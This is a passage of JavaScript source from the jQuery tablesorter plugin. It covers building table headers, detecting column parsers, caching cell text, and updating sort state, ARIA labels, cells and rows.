= $cell.attr( 'data-column' ) || $cell.index(); cell = c.$headerIndexed[ c.last.clickedIndex ][0]; if ( cell && !cell.sortDisabled ) { ts.initSort( c, cell, e ); } }); if ( c.cancelSelection ) { // cancel selection $headers .attr( 'unselectable', 'on' ) .bind( 'selectstart', false ) .css({ 'user-select' : 'none', 'MozUserSelect' : 'none' // not needed for jQuery 1.8+ }); } }, buildHeaders : function( c ) { var $temp, icon, timer, indx; c.headerList = []; c.headerContent = []; c.sortVars = []; if ( ts.debug(c, 'core') ) { timer = new Date(); } // children tr in tfoot - see issue #196 & #547 // don't pass table.config to computeColumnIndex here - widgets (math) pass it to "quickly" index tbody cells c.columns = ts.computeColumnIndex( c.$table.children( 'thead, tfoot' ).children( 'tr' ) ); // add icon if cssIcon option exists icon = c.cssIcon ? '<i class="' + ( c.cssIcon === ts.css.icon ? ts.css.icon : c.cssIcon + ' ' + ts.css.icon ) + '"></i>' : ''; // redefine c.$headers here in case of an updateAll that replaces or adds an entire header cell - see #683 c.$headers = $( $.map( c.$table.find( c.selectorHeaders ), function( elem, index ) { var configHeaders, header, column, template, tmp, $elem = $( elem ); // ignore cell (don't add it to c.$headers) if row has ignoreRow class if ( ts.getClosest( $elem, 'tr' ).hasClass( c.cssIgnoreRow ) ) { return; } // transfer data-column to element if not th/td - #1459 if ( !/(th|td)/i.test( elem.nodeName ) ) { tmp = ts.getClosest( $elem, 'th, td' ); $elem.attr( 'data-column', tmp.attr( 'data-column' ) ); } // make sure to get header cell & not column indexed cell configHeaders = ts.getColumnData( c.table, c.headers, index, true ); // save original header content c.headerContent[ index ] = $elem.html(); // if headerTemplate is empty, don't reformat the header cell if ( c.headerTemplate !== '' && !$elem.find( '.' + ts.css.headerIn ).length ) { // set up header template template = c.headerTemplate .replace( ts.regex.templateContent, $elem.html() ) .replace( ts.regex.templateIcon, $elem.find( '.' + ts.css.icon ).length ? '' : icon ); if ( c.onRenderTemplate ) { header = c.onRenderTemplate.apply( $elem, [ index, template ] ); // only change t if something is returned if ( header && typeof header === 'string' ) { template = header; } } $elem.html( '<div class="' + ts.css.headerIn + '">' + template + '</div>' ); // faster than wrapInner } if ( c.onRenderHeader ) { c.onRenderHeader.apply( $elem, [ index, c, c.$table ] ); } column = parseInt( $elem.attr( 'data-column' ), 10 ); elem.column = column; tmp = ts.getOrder( ts.getData( $elem, configHeaders, 'sortInitialOrder' ) || c.sortInitialOrder ); // this may get updated numerous times if there are multiple rows c.sortVars[ column ] = { count : -1, // set to -1 because clicking on the header automatically adds one order : tmp ? ( c.sortReset ? [ 1, 0, 2 ] : [ 1, 0 ] ) : // desc, asc, unsorted ( c.sortReset ? [ 0, 1, 2 ] : [ 0, 1 ] ), // asc, desc, unsorted lockedOrder : false, sortedBy : '' }; tmp = ts.getData( $elem, configHeaders, 'lockedOrder' ) || false; if ( typeof tmp !== 'undefined' && tmp !== false ) { c.sortVars[ column ].lockedOrder = true; c.sortVars[ column ].order = ts.getOrder( tmp ) ? [ 1, 1 ] : [ 0, 0 ]; } // add cell to headerList c.headerList[ index ] = elem; $elem.addClass( ts.css.header + ' ' + c.cssHeader ); // add to parent in case there are multiple rows ts.getClosest( $elem, 'tr' ) .addClass( ts.css.headerRow + ' ' + c.cssHeaderRow ) .attr( 'role', 'row' ); // allow keyboard cursor to focus on element if ( c.tabIndex ) { $elem.attr( 'tabindex', 0 ); } return elem; }) ); // cache headers per column c.$headerIndexed = []; for ( indx = 0; indx < c.columns; indx++ ) { // colspan in header making a column undefined if ( ts.isEmptyObject( c.sortVars[ indx ] ) ) { c.sortVars[ indx ] = {}; } // Use c.$headers.parent() in case selectorHeaders doesn't point to the th/td $temp = c.$headers.filter( '[data-column="' + indx + '"]' ); // target sortable column cells, unless there are none, then use non-sortable cells // .last() added in jQuery 1.4; use .filter(':last') to maintain compatibility with jQuery v1.2.6 c.$headerIndexed[ indx ] = $temp.length ? $temp.not( '.sorter-false' ).length ? $temp.not( '.sorter-false' ).filter( ':last' ) : $temp.filter( ':last' ) : $(); } c.$table.find( c.selectorHeaders ).attr({ scope: 'col', role : 'columnheader' }); // enable/disable sorting ts.updateHeader( c ); if ( ts.debug(c, 'core') ) { console.log( 'Built headers:' + ts.benchmark( timer ) ); console.log( c.$headers ); } }, // Use it to add a set of methods to table.config which will be available for all tables. // This should be done before table initialization addInstanceMethods : function( methods ) { $.extend( ts.instanceMethods, methods ); }, /* █████▄ ▄████▄ █████▄ ▄█████ ██████ █████▄ ▄█████ ██▄▄██ ██▄▄██ ██▄▄██ ▀█▄ ██▄▄ ██▄▄██ ▀█▄ ██▀▀▀ ██▀▀██ ██▀██ ▀█▄ ██▀▀ ██▀██ ▀█▄ ██ ██ ██ ██ ██ █████▀ ██████ ██ ██ █████▀ */ setupParsers : function( c, $tbodies ) { var rows, list, span, max, colIndex, indx, header, configHeaders, noParser, parser, extractor, time, tbody, len, table = c.table, tbodyIndex = 0, debug = ts.debug(c, 'core'), debugOutput = {}; // update table bodies in case we start with an empty table c.$tbodies = c.$table.children( 'tbody:not(.' + c.cssInfoBlock + ')' ); tbody = typeof $tbodies === 'undefined' ? c.$tbodies : $tbodies; len = tbody.length; if ( len === 0 ) { return debug ? console.warn( 'Warning: *Empty table!* Not building a parser cache' ) : ''; } else if ( debug ) { time = new Date(); console[ console.group ? 'group' : 'log' ]( 'Detecting parsers for each column' ); } list = { extractors: [], parsers: [] }; while ( tbodyIndex < len ) { rows = tbody[ tbodyIndex ].rows; if ( rows.length ) { colIndex = 0; max = c.columns; for ( indx = 0; indx < max; indx++ ) { header = c.$headerIndexed[ colIndex ]; if ( header && header.length ) { // get column indexed table cell; adding true parameter fixes #1362 but // it would break backwards compatibility... configHeaders = ts.getColumnData( table, c.headers, colIndex ); // , true ); // get column parser/extractor extractor = ts.getParserById( ts.getData( header, configHeaders, 'extractor' ) ); parser = ts.getParserById( ts.getData( header, configHeaders, 'sorter' ) ); noParser = ts.getData( header, configHeaders, 'parser' ) === 'false'; // empty cells behaviour - keeping emptyToBottom for backwards compatibility c.empties[colIndex] = ( ts.getData( header, configHeaders, 'empty' ) || c.emptyTo || ( c.emptyToBottom ? 'bottom' : 'top' ) ).toLowerCase(); // text strings behaviour in numerical sorts c.strings[colIndex] = ( ts.getData( header, configHeaders, 'string' ) || c.stringTo || 'max' ).toLowerCase(); if ( noParser ) { parser = ts.getParserById( 'no-parser' ); } if ( !extractor ) { // For now, maybe detect someday extractor = false; } if ( !parser ) { parser = ts.detectParserForColumn( c, rows, -1, colIndex ); } if ( debug ) { debugOutput[ '(' + colIndex + ') ' + header.text() ] = { parser : parser.id, extractor : extractor ? extractor.id : 'none', string : c.strings[ colIndex ], empty : c.empties[ colIndex ] }; } list.parsers[ colIndex ] = parser; list.extractors[ colIndex ] = extractor; span = header[ 0 ].colSpan - 1; if ( span > 0 ) { colIndex += span; max += span; while ( span + 1 > 0 ) { // set colspan columns to use the same parsers & extractors list.parsers[ colIndex - span ] = parser; list.extractors[ colIndex - span ] = extractor; span--; } } } colIndex++; } } tbodyIndex += ( list.parsers.length ) ? len : 1; } if ( debug ) { if ( !ts.isEmptyObject( debugOutput ) ) { console[ console.table ? 'table' : 'log' ]( debugOutput ); } else { console.warn( ' No parsers detected!' ); } console.log( 'Completed detecting parsers' + ts.benchmark( time ) ); if ( console.groupEnd ) { console.groupEnd(); } } c.parsers = list.parsers; c.extractors = list.extractors; }, addParser : function( parser ) { var indx, len = ts.parsers.length, add = true; for ( indx = 0; indx < len; indx++ ) { if ( ts.parsers[ indx ].id.toLowerCase() === parser.id.toLowerCase() ) { add = false; } } if ( add ) { ts.parsers[ ts.parsers.length ] = parser; } }, getParserById : function( name ) { /*jshint eqeqeq:false */ // eslint-disable-next-line eqeqeq if ( name == 'false' ) { return false; } var indx, len = ts.parsers.length; for ( indx = 0; indx < len; indx++ ) { if ( ts.parsers[ indx ].id.toLowerCase() === ( name.toString() ).toLowerCase() ) { return ts.parsers[ indx ]; } } return false; }, detectParserForColumn : function( c, rows, rowIndex, cellIndex ) { var cur, $node, row, indx = ts.parsers.length, node = false, nodeValue = '', debug = ts.debug(c, 'core'), keepLooking = true; while ( nodeValue === '' && keepLooking ) { rowIndex++; row = rows[ rowIndex ]; // stop looking after 50 empty rows if ( row && rowIndex < 50 ) { if ( row.className.indexOf( ts.cssIgnoreRow ) < 0 ) { node = rows[ rowIndex ].cells[ cellIndex ]; nodeValue = ts.getElementText( c, node, cellIndex ); $node = $( node ); if ( debug ) { console.log( 'Checking if value was empty on row ' + rowIndex + ', column: ' + cellIndex + ': "' + nodeValue + '"' ); } } } else { keepLooking = false; } } while ( --indx >= 0 ) { cur = ts.parsers[ indx ]; // ignore the default text parser because it will always be true if ( cur && cur.id !== 'text' && cur.is && cur.is( nodeValue, c.table, node, $node ) ) { return cur; } } // nothing found, return the generic parser (text) return ts.getParserById( 'text' ); }, getElementText : function( c, node, cellIndex ) { if ( !node ) { return ''; } var tmp, extract = c.textExtraction || '', // node could be a jquery object // http://jsperf.com/jquery-vs-instanceof-jquery/2 $node = node.jquery ? node : $( node ); if ( typeof extract === 'string' ) { // check data-attribute first when set to 'basic'; don't use node.innerText - it's really slow! // http://www.kellegous.com/j/2013/02/27/innertext-vs-textcontent/ if ( extract === 'basic' && typeof ( tmp = $node.attr( c.textAttribute ) ) !== 'undefined' ) { return $.trim( tmp ); } return $.trim( node.textContent || $node.text() ); } else { if ( typeof extract === 'function' ) { return $.trim( extract( $node[ 0 ], c.table, cellIndex ) ); } else if ( typeof ( tmp = ts.getColumnData( c.table, extract, cellIndex ) ) === 'function' ) { return $.trim( tmp( $node[ 0 ], c.table, cellIndex ) ); } } // fallback return $.trim( $node[ 0 ].textContent || $node.text() ); }, // centralized function to extract/parse cell contents getParsedText : function( c, cell, colIndex, txt ) { if ( typeof txt === 'undefined' ) { txt = ts.getElementText( c, cell, colIndex ); } // if no parser, make sure to return the txt var val = '' + txt, parser = c.parsers[ colIndex ], extractor = c.extractors[ colIndex ]; if ( parser ) { // do extract before parsing, if there is one if ( extractor && typeof extractor.format === 'function' ) { txt = extractor.format( txt, c.table, cell, colIndex ); } // allow parsing if the string is empty, previously parsing would change it to zero, // in case the parser needs to extract data from the table cell attributes val = parser.id === 'no-parser' ? '' : // make sure txt is a string (extractor may have converted it) parser.format( '' + txt, c.table, cell, colIndex ); if ( c.ignoreCase && typeof val === 'string' ) { val = val.toLowerCase(); } } return val; }, /* ▄████▄ ▄████▄ ▄████▄ ██ ██ ██████ ██ ▀▀ ██▄▄██ ██ ▀▀ ██▄▄██ ██▄▄ ██ ▄▄ ██▀▀██ ██ ▄▄ ██▀▀██ ██▀▀ ▀████▀ ██ ██ ▀████▀ ██ ██ ██████ */ buildCache : function( c, callback, $tbodies ) { var cache, val, txt, rowIndex, colIndex, tbodyIndex, $tbody, $row, cols, $cells, cell, cacheTime, totalRows, rowData, prevRowData, colMax, span, cacheIndex, hasParser, max, len, index, table = c.table, parsers = c.parsers, debug = ts.debug(c, 'core'); // update tbody variable c.$tbodies = c.$table.children( 'tbody:not(.' + c.cssInfoBlock + ')' ); $tbody = typeof $tbodies === 'undefined' ? c.$tbodies : $tbodies, c.cache = {}; c.totalRows = 0; // if no parsers found, return - it's an empty table. if ( !parsers ) { return debug ? console.warn( 'Warning: *Empty table!* Not building a cache' ) : ''; } if ( debug ) { cacheTime = new Date(); } // processing icon if ( c.showProcessing ) { ts.isProcessing( table, true ); } for ( tbodyIndex = 0; tbodyIndex < $tbody.length; tbodyIndex++ ) { colMax = []; // column max value per tbody cache = c.cache[ tbodyIndex ] = { normalized: [] // array of normalized row data; last entry contains 'rowData' above // colMax: # // added at the end }; totalRows = ( $tbody[ tbodyIndex ] && $tbody[ tbodyIndex ].rows.length ) || 0; for ( rowIndex = 0; rowIndex < totalRows; ++rowIndex ) { rowData = { // order: original row order # // $row : jQuery Object[] child: [], // child row text (filter widget) raw: [] // original row text }; /** Add the table data to main data array */ $row = $( $tbody[ tbodyIndex ].rows[ rowIndex ] ); cols = []; // ignore "remove-me" rows if ( $row.hasClass( c.selectorRemove.slice(1) ) ) { continue; } // if this is a child row, add it to the last row's children and continue to the next row // ignore child row class, if it is the first row if ( $row.hasClass( c.cssChildRow ) && rowIndex !== 0 ) { len = cache.normalized.length - 1; prevRowData = cache.normalized[ len ][ c.columns ]; prevRowData.$row = prevRowData.$row.add( $row ); // add 'hasChild' class name to parent row if ( !$row.prev().hasClass( c.cssChildRow ) ) { $row.prev().addClass( ts.css.cssHasChild ); } // save child row content (un-parsed!) $cells = $row.children( 'th, td' ); len = prevRowData.child.length; prevRowData.child[ len ] = []; // child row content does not account for colspans/rowspans; so indexing may be off cacheIndex = 0; max = c.columns; for ( colIndex = 0; colIndex < max; colIndex++ ) { cell = $cells[ colIndex ]; if ( cell ) { prevRowData.child[ len ][ colIndex ] = ts.getParsedText( c, cell, colIndex ); span = $cells[ colIndex ].colSpan - 1; if ( span > 0 ) { cacheIndex += span; max += span; } } cacheIndex++; } // go to the next for loop continue; } rowData.$row = $row; rowData.order = rowIndex; // add original row position to rowCache cacheIndex = 0; max = c.columns; for ( colIndex = 0; colIndex < max; ++colIndex ) { cell = $row[ 0 ].cells[ colIndex ]; if ( cell && cacheIndex < c.columns ) { hasParser = typeof parsers[ cacheIndex ] !== 'undefined'; if ( !hasParser && debug ) { console.warn( 'No parser found for row: ' + rowIndex + ', column: ' + colIndex + '; cell containing: "' + $(cell).text() + '"; does it have a header?' ); } val = ts.getElementText( c, cell, cacheIndex ); rowData.raw[ cacheIndex ] = val; // save original row text // save raw column text even if there is no parser set txt = ts.getParsedText( c, cell, cacheIndex, val ); cols[ cacheIndex ] = txt; if ( hasParser && ( parsers[ cacheIndex ].type || '' ).toLowerCase() === 'numeric' ) { // determine column max value (ignore sign) colMax[ cacheIndex ] = Math.max( Math.abs( txt ) || 0, colMax[ cacheIndex ] || 0 ); } // allow colSpan in tbody span = cell.colSpan - 1; if ( span > 0 ) { index = 0; while ( index <= span ) { // duplicate text (or not) to spanned columns // instead of setting duplicate span to empty string, use textExtraction to try to get a value // see http://stackoverflow.com/q/36449711/145346 txt = c.duplicateSpan || index === 0 ? txt : typeof c.textExtraction !== 'string' ? ts.getElementText( c, cell, cacheIndex + index ) || '' : ''; rowData.raw[ cacheIndex + index ] = txt; cols[ cacheIndex + index ] = txt; index++; } cacheIndex += span; max += span; } } cacheIndex++; } // ensure rowData is always in the same location (after the last column) cols[ c.columns ] = rowData; cache.normalized[ cache.normalized.length ] = cols; } cache.colMax = colMax; // total up rows, not including child rows c.totalRows += cache.normalized.length; } if ( c.showProcessing ) { ts.isProcessing( table ); // remove processing icon } if ( debug ) { len = Math.min( 5, c.cache[ 0 ].normalized.length ); console[ console.group ? 'group' : 'log' ]( 'Building cache for ' + c.totalRows + ' rows (showing ' + len + ' rows in log) and ' + c.columns + ' columns' + ts.benchmark( cacheTime ) ); val = {}; for ( colIndex = 0; colIndex < c.columns; colIndex++ ) { for ( cacheIndex = 0; cacheIndex < len; cacheIndex++ ) { if ( !val[ 'row: ' + cacheIndex ] ) { val[ 'row: ' + cacheIndex ] = {}; } val[ 'row: ' + cacheIndex ][ c.$headerIndexed[ colIndex ].text() ] = c.cache[ 0 ].normalized[ cacheIndex ][ colIndex ]; } } console[ console.table ? 'table' : 'log' ]( val ); if ( console.groupEnd ) { console.groupEnd(); } } if ( $.isFunction( callback ) ) { callback( table ); } }, getColumnText : function( table, column, callback, rowFilter ) { table = $( table )[0]; var tbodyIndex, rowIndex, cache, row, tbodyLen, rowLen, raw, parsed, $cell, result, hasCallback = typeof callback === 'function', allColumns = column === 'all', data = { raw : [], parsed: [], $cell: [] }, c = table.config; if ( ts.isEmptyObject( c ) ) { if ( ts.debug(c, 'core') ) { console.warn( 'No cache found - aborting getColumnText function!' ); } } else { tbodyLen = c.$tbodies.length; for ( tbodyIndex = 0; tbodyIndex < tbodyLen; tbodyIndex++ ) { cache = c.cache[ tbodyIndex ].normalized; rowLen = cache.length; for ( rowIndex = 0; rowIndex < rowLen; rowIndex++ ) { row = cache[ rowIndex ]; if ( rowFilter && !row[ c.columns ].$row.is( rowFilter ) ) { continue; } result = true; parsed = ( allColumns ) ? row.slice( 0, c.columns ) : row[ column ]; row = row[ c.columns ]; raw = ( allColumns ) ? row.raw : row.raw[ column ]; $cell = ( allColumns ) ? row.$row.children() : row.$row.children().eq( column ); if ( hasCallback ) { result = callback({ tbodyIndex : tbodyIndex, rowIndex : rowIndex, parsed : parsed, raw : raw, $row : row.$row, $cell : $cell }); } if ( result !== false ) { data.parsed[ data.parsed.length ] = parsed; data.raw[ data.raw.length ] = raw; data.$cell[ data.$cell.length ] = $cell; } } } // return everything return data; } }, /* ██ ██ █████▄ █████▄ ▄████▄ ██████ ██████ ██ ██ ██▄▄██ ██ ██ ██▄▄██ ██ ██▄▄ ██ ██ ██▀▀▀ ██ ██ ██▀▀██ ██ ██▀▀ ▀████▀ ██ █████▀ ██ ██ ██ ██████ */ setHeadersCss : function( c ) { var indx, column, list = c.sortList, len = list.length, none = ts.css.sortNone + ' ' + c.cssNone, css = [ ts.css.sortAsc + ' ' + c.cssAsc, ts.css.sortDesc + ' ' + c.cssDesc ], cssIcon = [ c.cssIconAsc, c.cssIconDesc, c.cssIconNone ], aria = [ 'ascending', 'descending' ], updateColumnSort = function($el, index) { $el .removeClass( none ) .addClass( css[ index ] ) .attr( 'aria-sort', aria[ index ] ) .find( '.' + ts.css.icon ) .removeClass( cssIcon[ 2 ] ) .addClass( cssIcon[ index ] ); }, // find the footer $extras = c.$table .find( 'tfoot tr' ) .children( 'td, th' ) .add( $( c.namespace + '_extra_headers' ) ) .removeClass( css.join( ' ' ) ), // remove all header information $sorted = c.$headers .add( $( 'thead ' + c.namespace + '_extra_headers' ) ) .removeClass( css.join( ' ' ) ) .addClass( none ) .attr( 'aria-sort', 'none' ) .find( '.' + ts.css.icon ) .removeClass( cssIcon.join( ' ' ) ) .end(); // add css none to all sortable headers $sorted .not( '.sorter-false' ) .find( '.' + ts.css.icon ) .addClass( cssIcon[ 2 ] ); // add disabled css icon class if ( c.cssIconDisabled ) { $sorted .filter( '.sorter-false' ) .find( '.' + ts.css.icon ) .addClass( c.cssIconDisabled ); } for ( indx = 0; indx < len; indx++ ) { // direction = 2 means reset! if ( list[ indx ][ 1 ] !== 2 ) { // multicolumn sorting updating - see #1005 // .not(function() {}) needs jQuery 1.4 // filter(function(i, el) {}) <- el is undefined in jQuery v1.2.6 $sorted = c.$headers.filter( function( i ) { // only include headers that are in the sortList (this includes colspans) var include = true, $el = c.$headers.eq( i ), col = parseInt( $el.attr( 'data-column' ), 10 ), end = col + ts.getClosest( $el, 'th, td' )[0].colSpan; for ( ; col < end; col++ ) { include = include ? include || ts.isValueInArray( col, c.sortList ) > -1 : false; } return include; }); // choose the :last in case there are nested columns $sorted = $sorted .not( '.sorter-false' ) .filter( '[data-column="' + list[ indx ][ 0 ] + '"]' + ( len === 1 ? ':last' : '' ) ); if ( $sorted.length ) { for ( column = 0; column < $sorted.length; column++ ) { if ( !$sorted[ column ].sortDisabled ) { updateColumnSort( $sorted.eq( column ), list[ indx ][ 1 ] ); } } } // add sorted class to footer & extra headers, if they exist if ( $extras.length ) { updateColumnSort( $extras.filter( '[data-column="' + list[ indx ][ 0 ] + '"]' ), list[ indx ][ 1 ] ); } } } // add verbose aria labels len = c.$headers.length; for ( indx = 0; indx < len; indx++ ) { ts.setColumnAriaLabel( c, c.$headers.eq( indx ) ); } }, getClosest : function( $el, selector ) { // jQuery v1.2.6 doesn't have closest() if ( $.fn.closest ) { return $el.closest( selector ); } return $el.is( selector ) ? $el : $el.parents( selector ).filter( ':first' ); }, // nextSort (optional), lets you disable next sort text setColumnAriaLabel : function( c, $header, nextSort ) { if ( $header.length ) { var column = parseInt( $header.attr( 'data-column' ), 10 ), vars = c.sortVars[ column ], tmp = $header.hasClass( ts.css.sortAsc ) ? 'sortAsc' : $header.hasClass( ts.css.sortDesc ) ? 'sortDesc' : 'sortNone', txt = $.trim( $header.text() ) + ': ' + ts.language[ tmp ]; if ( $header.hasClass( 'sorter-false' ) || nextSort === false ) { txt += ts.language.sortDisabled; } else { tmp = ( vars.count + 1 ) % vars.order.length; nextSort = vars.order[ tmp ]; // if nextSort txt += ts.language[ nextSort === 0 ? 'nextAsc' : nextSort === 1 ? 'nextDesc' : 'nextNone' ]; } $header.attr( 'aria-label', txt ); if (vars.sortedBy) { $header.attr( 'data-sortedBy', vars.sortedBy ); } else { $header.removeAttr('data-sortedBy'); } } }, updateHeader : function( c ) { var index, isDisabled, $header, col, table = c.table, len = c.$headers.length; for ( index = 0; index < len; index++ ) { $header = c.$headers.eq( index ); col = ts.getColumnData( table, c.headers, index, true ); // add 'sorter-false' class if 'parser-false' is set isDisabled = ts.getData( $header, col, 'sorter' ) === 'false' || ts.getData( $header, col, 'parser' ) === 'false'; ts.setColumnSort( c, $header, isDisabled ); } }, setColumnSort : function( c, $header, isDisabled ) { var id = c.table.id; $header[ 0 ].sortDisabled = isDisabled; $header[ isDisabled ? 'addClass' : 'removeClass' ]( 'sorter-false' ) .attr( 'aria-disabled', '' + isDisabled ); // disable tab index on disabled cells if ( c.tabIndex ) { if ( isDisabled ) { $header.removeAttr( 'tabindex' ); } else { $header.attr( 'tabindex', '0' ); } } // aria-controls - requires table ID if ( id ) { if ( isDisabled ) { $header.removeAttr( 'aria-controls' ); } else { $header.attr( 'aria-controls', id ); } } }, updateHeaderSortCount : function( c, list ) { var col, dir, group, indx, primary, temp, val, order, sortList = list || c.sortList, len = sortList.length; c.sortList = []; for ( indx = 0; indx < len; indx++ ) { val = sortList[ indx ]; // ensure all sortList values are numeric - fixes #127 col = parseInt( val[ 0 ], 10 ); // prevents error if sorton array is wrong if ( col < c.columns ) { // set order if not already defined - due to colspan header without associated header cell // adding this check prevents a javascript error if ( !c.sortVars[ col ].order ) { if ( ts.getOrder( c.sortInitialOrder ) ) { order = c.sortReset ? [ 1, 0, 2 ] : [ 1, 0 ]; } else { order = c.sortReset ? [ 0, 1, 2 ] : [ 0, 1 ]; } c.sortVars[ col ].order = order; c.sortVars[ col ].count = 0; } order = c.sortVars[ col ].order; dir = ( '' + val[ 1 ] ).match( /^(1|d|s|o|n)/ ); dir = dir ? dir[ 0 ] : ''; // 0/(a)sc (default), 1/(d)esc, (s)ame, (o)pposite, (n)ext switch ( dir ) { case '1' : case 'd' : // descending dir = 1; break; case 's' : // same direction (as primary column) // if primary sort is set to 's', make it ascending dir = primary || 0; break; case 'o' : temp = order[ ( primary || 0 ) % order.length ]; // opposite of primary column; but resets if primary resets dir = temp === 0 ? 1 : temp === 1 ? 0 : 2; break; case 'n' : dir = order[ ( ++c.sortVars[ col ].count ) % order.length ]; break; default : // ascending dir = 0; break; } primary = indx === 0 ? dir : primary; group = [ col, parseInt( dir, 10 ) || 0 ]; c.sortList[ c.sortList.length ] = group; dir = $.inArray( group[ 1 ], order ); // fixes issue #167 c.sortVars[ col ].count = dir >= 0 ? dir : group[ 1 ] % order.length; } } }, updateAll : function( c, resort, callback ) { var table = c.table; table.isUpdating = true; ts.refreshWidgets( table, true, true ); ts.buildHeaders( c ); ts.bindEvents( table, c.$headers, true ); ts.bindMethods( c ); ts.commonUpdate( c, resort, callback ); }, update : function( c, resort, callback ) { var table = c.table; table.isUpdating = true; // update sorting (if enabled/disabled) ts.updateHeader( c ); ts.commonUpdate( c, resort, callback ); }, // simple header update - see #989 updateHeaders : function( c, callback ) { c.table.isUpdating = true; ts.buildHeaders( c ); ts.bindEvents( c.table, c.$headers, true ); ts.resortComplete( c, callback ); }, updateCell : function( c, cell, resort, callback ) { // updateCell for child rows is a mess - we'll ignore them for now // eventually I'll break out the "update" row cache code to make everything consistent if ( $( cell ).closest( 'tr' ).hasClass( c.cssChildRow ) ) { console.warn('Tablesorter Warning! "updateCell" for child row content has been disabled, use "update" instead'); return; } if ( ts.isEmptyObject( c.cache ) ) { // empty table, do an update instead - fixes #1099 ts.updateHeader( c ); ts.commonUpdate( c, resort, callback ); return; } c.table.isUpdating = true; c.$table.find( c.selectorRemove ).remove(); // get position from the dom var tmp, indx, row, icell, cache, len, $tbodies = c.$tbodies, $cell = $( cell ), // update cache - format: function( s, table, cell, cellIndex ) // no closest in jQuery v1.2.6 tbodyIndex = $tbodies.index( ts.getClosest( $cell, 'tbody' ) ), tbcache = c.cache[ tbodyIndex ], $row = ts.getClosest( $cell, 'tr' ); cell = $cell[ 0 ]; // in case cell is a jQuery object // tbody may not exist if update is initialized while tbody is removed for processing if ( $tbodies.length && tbodyIndex >= 0 ) { row = $tbodies.eq( tbodyIndex ).find( 'tr' ).not( '.' + c.cssChildRow ).index( $row ); cache = tbcache.normalized[ row ]; len = $row[ 0 ].cells.length; if ( len !== c.columns ) { // colspan in here somewhere! icell = 0; tmp = false; for ( indx = 0; indx < len; indx++ ) { if ( !tmp && $row[ 0 ].cells[ indx ] !== cell ) { icell += $row[ 0 ].cells[ indx ].colSpan; } else { tmp = true; } } } else { icell = $cell.index(); } tmp = ts.getElementText( c, cell, icell ); // raw cache[ c.columns ].raw[ icell ] = tmp; tmp = ts.getParsedText( c, cell, icell, tmp ); cache[ icell ] = tmp; // parsed if ( ( c.parsers[ icell ].type || '' ).toLowerCase() === 'numeric' ) { // update column max value (ignore sign) tbcache.colMax[ icell ] = Math.max( Math.abs( tmp ) || 0, tbcache.colMax[ icell ] || 0 ); } tmp = resort !== 'undefined' ? resort : c.resort; if ( tmp !== false ) { // widgets will be reapplied ts.checkResort( c, tmp, callback ); } else { // don't reapply widgets is resort is false, just in case it causes // problems with element focus ts.resortComplete( c, callback ); } } else { if ( ts.debug(c, 'core') ) { console.error( 'updateCell aborted, tbody missing or not within the indicated table' ); } c.table.isUpdating = false; } }, addRows : function( c, $row, resort, callback ) { var txt, val, tbodyIndex, rowIndex, rows, cellIndex, len, order, cacheIndex, rowData, cells, cell, span, // allow passing a row string if only one non-info tbody exists in the table valid = typeof $row === 'string' && c.$tbodies.length === 1 && /<tr/.test( $row || '' ), table = c.table; if ( valid ) { $row = $( $row ); c.$tbodies.append( $row ); } else if ( !$row || // row is a jQuery object? !( $row instanceof $ ) || // row contained in the table? ( ts.getClosest( $row, 'table' )[ 0 ] !== c.table ) ) { if ( ts.debug(c, 'core') ) { console.error( 'addRows method requires (1) a jQuery selector reference to rows that have already ' + 'been added to the table, or (2) row HTML string to be added to a table with only one tbody' ); } return false; } table.isUpdating = true; if ( ts.isEmptyObject( c.cache ) ) { // empty table, do an update instead - fixes #450 ts.updateHeader( c ); ts.commonUpdate( c, resort, callback ); } else { rows = $row.filter( 'tr' ).attr( 'role', 'row' ).length; tbodyIndex = c.$tbodies.index( $row.parents( 'tbody' ).filter( ':first' ) ); // fixes adding rows to an empty table - see issue #179 if ( !( c.parsers && c.parsers.length ) ) { ts.setupParsers( c ); } // add each row for ( rowIndex = 0; rowIndex < rows; rowIndex++ ) { cacheIndex = 0; len = $row[ rowIndex ].cells.length; order = c.cache[ tbodyIndex ].normalized.length; cells = []; rowData = { child : [], raw : [], $row : $row.eq( rowIndex ), order : order }; // add each cell for ( cellIndex = 0; cellIndex < len; cellIndex++ ) { cell = $row[ rowIndex ].cells[ cellIndex ]; txt = ts.getElementText( c, cell, cacheIndex ); rowData.raw[ cacheIndex ] = txt; val = ts.getParsedText( c, cell, cacheIndex, txt ); cells[ cacheIndex ] = val; if ( ( c.parsers[ cacheIndex ].type || '' ).toLowerCase() === 'numeric' ) { // update column max value (ignore sign) c.cache[ tbodyIndex ].colMax[ cacheIndex ] = Math.max( Math.abs( val ) || 0, c.cache[ tbodyIndex ].colMax[ cacheIndex ] || 0 ); } span = cell.colSpan - 1; if ( span > 0 ) { cacheIndex += span; } cacheIndex++; } // add the row data to the end cells[ c.columns ] = rowData; // update cache c.cache[ tbodyIndex ].normalized[ order ] = cells; } // resort using current settings ts.checkResort( c, resort, callback ); } }, updateCache : function( c, callback, $tbodies ) { // rebuild parsers if ( !( c.parsers && c.parsers.length ) ) { ts.setupParsers( c, $tbodies ); } // rebuild the cache map ts.buildCache( c, callback, $tbodies ); }, // init flag (true) used by pager plugin to prevent widget application // renamed from appendToTable appendCache : function( c, init ) { var parsed, totalRows, $tbody, $curTbody, rowIndex, tbodyIndex, appendTime, table = c.table, $tbodies = c.$tbodies, rows = [], cache = c.cache; // empty table - fixes #206/#346 if ( ts.isEmptyObject( cache ) ) { // run pager appender in case the table was just emptied return c.appender ? c.appender( table, rows ) : table.isUpdating ? c.$table.triggerHandler( 'updateComplete', table ) : ''; // Fixes #532 } if ( ts.debug(c, 'core') ) { appendTime = new Date(); } for ( tbodyIndex = 0; tbodyIndex < $tbodies.length; tbodyIndex++ ) { $tbody = $tbodies.eq( tbodyIndex ); if ( $tbody.length ) { // detach tbody for manipulation $curTbody = ts.processTbody( table, $tbody, true ); parsed = cache[ tbodyIndex ].normalized; totalRows = parsed.length; for ( rowIndex = 0; rowIndex < totalRows; rowIndex++ ) { rows[rows.length] = parsed[ rowIndex ][ c.columns ].$row; // removeRows used by the pager plugin; don't render if using ajax - fixes #411 if ( !c.appender || ( c.pager && !c.pager.removeRows && !c.pager.ajax ) ) { $curTbody.append( parsed[ rowIndex ][ c.columns ].$row ); } } // restore tbody ts.processTbody( table, $curTbody, false ); } } if ( c.appender ) { c.appender( table, rows ); } if ( ts.debug(c, 'core') ) { console.log( 'Rebuilt table' + ts.benchmark( appendTime ) ); } // apply table widgets; but not before ajax completes if ( !init && !c.appender ) { ts.applyWidget( table ); } if ( table.isUpdating ) { c.$table.triggerHandler( 'updateComplete', table ); } }, commonUpdate : function( c, resort, callback ) { // remove 